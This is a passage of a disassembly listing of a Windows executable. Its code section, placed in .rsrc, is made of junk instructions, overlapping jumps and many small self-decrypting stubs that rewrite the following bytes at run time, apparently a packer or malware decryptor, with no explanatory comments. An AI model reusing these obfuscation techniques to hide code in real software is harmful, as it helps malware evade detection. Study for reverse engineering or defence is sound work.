ch, bl dec eax loope loc_4153DB pop eax call sub_416FFD loc_4153DB: ; CODE XREF: .rsrc:004153D3j pusha sbb esi, ebx nop popa jmp loc_415477 ; --------------------------------------------------------------------------- align 2 jmp short loc_4153F5 ; --------------------------------------------------------------------------- mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx loc_4153F5: ; CODE XREF: .rsrc:004153E6j pop eax jmp short loc_4153FF ; --------------------------------------------------------------------------- dd 0A766C1A8h db 54h, 0FDh, 0F2h ; --------------------------------------------------------------------------- loc_4153FF: ; CODE XREF: .rsrc:004153F6j mov ecx, 190h jmp short loc_415411 ; --------------------------------------------------------------------------- dw 0F9C0h dd 0B5EC9F3Eh, 31D8BB4Ah ; --------------------------------------------------------------------------- push ss loc_415411: ; CODE XREF: .rsrc:00415404j push ecx jmp short loc_415415 ; --------------------------------------------------------------------------- db 84h ; --------------------------------------------------------------------------- loc_415415: ; CODE XREF: .rsrc:00415412j xor byte ptr [eax-6E36h], 78h jmp short loc_415429 ; --------------------------------------------------------------------------- dw 33A2h dd 8FEE69F0h, 0ABFA251Ch db 8 ; --------------------------------------------------------------------------- loc_415429: ; CODE XREF: .rsrc:0041541Cj inc eax jmp short loc_415439 ; --------------------------------------------------------------------------- mov byte ptr [edi+2352DDB4h], 20h fstp dword ptr [esi-556AB381h] loc_415439: ; CODE XREF: .rsrc:0041542Aj dec ecx jmp short near ptr loc_41543D+2 ; --------------------------------------------------------------------------- db 38h ; --------------------------------------------------------------------------- loc_41543D: ; CODE XREF: .rsrc:004153C8j ; .rsrc:0041543Aj adc [esi+0Fh], esi test edx, eax ; --------------------------------------------------------------------------- dw 0FFFFh dd 0E407EBFFh, 5013024Dh, 0EB594E49h, 5A057C07h, 2681688Bh dd 7EBC12Bh, 3B2BD14h, 0C6FEB980h, 0EBE9FA40h, 0A75AC05h dd 0C7909A7Bh, 92FB40h db 2 dup(0), 61h ; --------------------------------------------------------------------------- loc_415477: ; CODE XREF: .rsrc:004153E0j jmp near ptr dword_40E040+570h ; --------------------------------------------------------------------------- dd 0E4h dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_41580E proc near ; CODE XREF: start+28p pop esi add esi, 1 sub word ptr [esi], 0B332h push esi retn sub_41580E endp ; --------------------------------------------------------------------------- dd 359h dup(0) ; --------------------------------------------------------------------------- pop esi xor dword ptr [esi], 0EED15826h push esi retn ; --------------------------------------------------------------------------- align 4 pop esi add esi, 0Dh xor word ptr [esi], 0E71Dh push esi retn ; --------------------------------------------------------------------------- align 4 dd 89h dup(0) dd 5E000000h, 54BB2E81h, 0C356915Fh, 1Dh dup(0) dd 815E0000h, 3C6h, 0CB2E8100h, 56229C22h, 0C3h db 0 ; =============== S U B R O U T I N E ======================================= sub_416855 proc near ; CODE XREF: start+74p pop esi sub dword ptr [esi], 0ADB24CDBh push esi retn sub_416855 endp ; --------------------------------------------------------------------------- align 10h dd 55h dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4169B6 proc near ; CODE XREF: start+14p pop esi add esi, 1 xor word ptr [esi], 88CDh push esi retn sub_4169B6 endp ; --------------------------------------------------------------------------- dd 62h dup(0) db 0 ; =============== S U B R O U T I N E ======================================= sub_416B4D proc near ; CODE XREF: .rsrc:004153A8p pop esi add esi, 5 xor word ptr [esi], 863Dh push esi retn sub_416B4D endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416B60 proc near ; CODE XREF: start+7Ap pop esi add esi, 1 xor word ptr [esi], 4A8Dh push esi retn sub_416B60 endp ; --------------------------------------------------------------------------- align 10h dd 4 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_416B82 proc near ; CODE XREF: start+1p pop esi sub word ptr [esi], 0E3D2h push esi retn sub_416B82 endp ; --------------------------------------------------------------------------- align 4 dd 5E000000h, 3C681h, 2E810000h, 0EDB6F30Bh, 0C356h, 9Ah dup(0) dd 805E0000h, 0C3564436h, 7 dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_416E2F proc near ; CODE XREF: start+3Ap pop esi add word ptr [esi], 0D07Eh push esi retn sub_416E2F endp ; --------------------------------------------------------------------------- align 4 dd 28h dup(0) dd 5E000000h, 0FC681h, 2E810000h, 6E8F0C5Bh ; --------------------------------------------------------------------------- push esi retn ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_416EEB proc near ; CODE XREF: start+Ep pop esi sub dword ptr [esi], 0EC9C8D1Bh push esi retn sub_416EEB endp ; --------------------------------------------------------------------------- dd 1Dh dup(0) ; --------------------------------------------------------------------------- pop esi add word ptr [esi], 2B3Eh push esi retn ; --------------------------------------------------------------------------- dd 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_416F78 proc near ; CODE XREF: start+7p pop esi add word ptr [esi], 6B1Eh push esi retn sub_416F78 endp ; --------------------------------------------------------------------------- dd 7 dup(0) dd 665E0000h, 45FE0681h, 0C356h, 0 dd 5E000000h, 1C681h, 81660000h, 56ABA22Eh, 0C3h, 0Fh dup(0) db 0 ; =============== S U B R O U T I N E ======================================= sub_416FFD proc near ; CODE XREF: .rsrc:004153D6p pop esi add esi, 3 sub dword ptr [esi], 7C02CBDBh push esi retn sub_416FFD endp ; --------------------------------------------------------------------------- align 10h pop esi xor byte ptr [esi], 0B4h push esi retn ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dd 815E0000h, 1C6h, 2E816600h, 0C356E1F2h, 0Eh dup(0) ; --------------------------------------------------------------------------- pop esi add dword ptr [esi], 0AC660CB0h push esi retn ; --------------------------------------------------------------------------- align 4 dd 6 dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_41708F proc near ; CODE XREF: .rsrc:0041537Cp pop esi add esi, 0Fh sub dword ptr [esi], 25D60C1Bh push esi retn sub_41708F endp ; --------------------------------------------------------------------------- align 1000h _rsrc ends ; Section 4. (virtual address 00018000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00018000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _a__ segment para public 'DATA' use32 assume cs:_a__ ;org 418000h dd 400h dup(0) _a__ ends ; Section 5. (virtual address 00019000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00019000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 419000h align 2000h _idata2 ends end start